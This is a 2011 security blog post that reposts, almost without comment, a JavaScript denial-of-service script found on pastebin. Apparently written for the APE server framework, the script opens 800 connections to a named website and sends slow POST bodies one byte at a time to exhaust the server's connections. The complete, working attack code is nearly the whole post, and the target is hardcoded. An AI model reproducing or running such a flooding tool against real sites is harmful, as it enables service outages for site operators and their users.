Krypt3ia

(Greek: κρυπτεία / krupteía, from κρυπτός / kruptós, “hidden, secret things”)

Tell Me if You’ve Seen This One Before…

leave a comment »

As found on pastebin minutes ago…

  1. include(“framework/mootools.js”);
  2. var PostFlood = function(url) {
  3.         this.url = url;
  4.         this.sockets = [];
  5.         let result  = this.url.match(“^.*?://(.*?)(:([0-9]+))?((/.*)|)$”);
  6.         this.host   = result[1];
  7.         this.port   = result[3] || 80;
  8.         this.query  = result[4];
  9. }
  10. PostFlood.prototype.start = function(n, duration) {
  11.         for (let i = 0; i < n; i++) {
  12.                 Ape.setTimeout(function(z) {
  13.                         let socket = new Ape.sockClient(80, this.host, { flushlf: false });
  14.                         socket.n = z;
  15.                         socket.t = 0;
  16.                         socket.onConnect = function() {
  17.                                 let x = 0;
  18.                                 //socket.write = Ape.log;
  19.                                 Ape.log(‘connected (‘+z+’)’);
  20.                                 socket.write(‘POST ‘+this.query+’ HTTP/1.0\n’);
  21.                                 socket.write(‘Host: ‘+this.host+’\n’);
  22.                                 socket.write(‘User-Agent: Mozilla/4.0\n’);
  23.                                 socket.write(‘Content-length: ‘+duration+’\n\n’);
  24.                                 let timer = Ape.setInterval(function() {
  25.                                         if (x++ == duration) {
  26.                                                 Ape.clearInterval(timer);
  27.                                                 return;
  28.                                         }
  29.                                         socket.t++;
  30.                                         socket.write(‘a’);
  31.                                 }, $random(900, 1100));
  32.                         }.bind(this)
  33.                         socket.onRead = function(data) {
  34.                                 //Ape.log(data);
  35.                         }
  36.                         socket.onDisconnect = function() {
  37.                                 Ape.log(‘Disconnected’);
  38.                         }
  39.                 }.bind(this), $random(20, 30)*i, i);
  40.         }
  41. }
  42. Ape.addEvent(‘init’, function() {
  43.         Ape.log(‘start’);
  44.         var flood = new PostFlood(‘http://majahden.com/&#8217;);
  45.         flood.start(800, 600);
  46. });

Written by Krypt3ia

2011/06/27 at 23:15

Posted in c0de, D0S, jihad

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: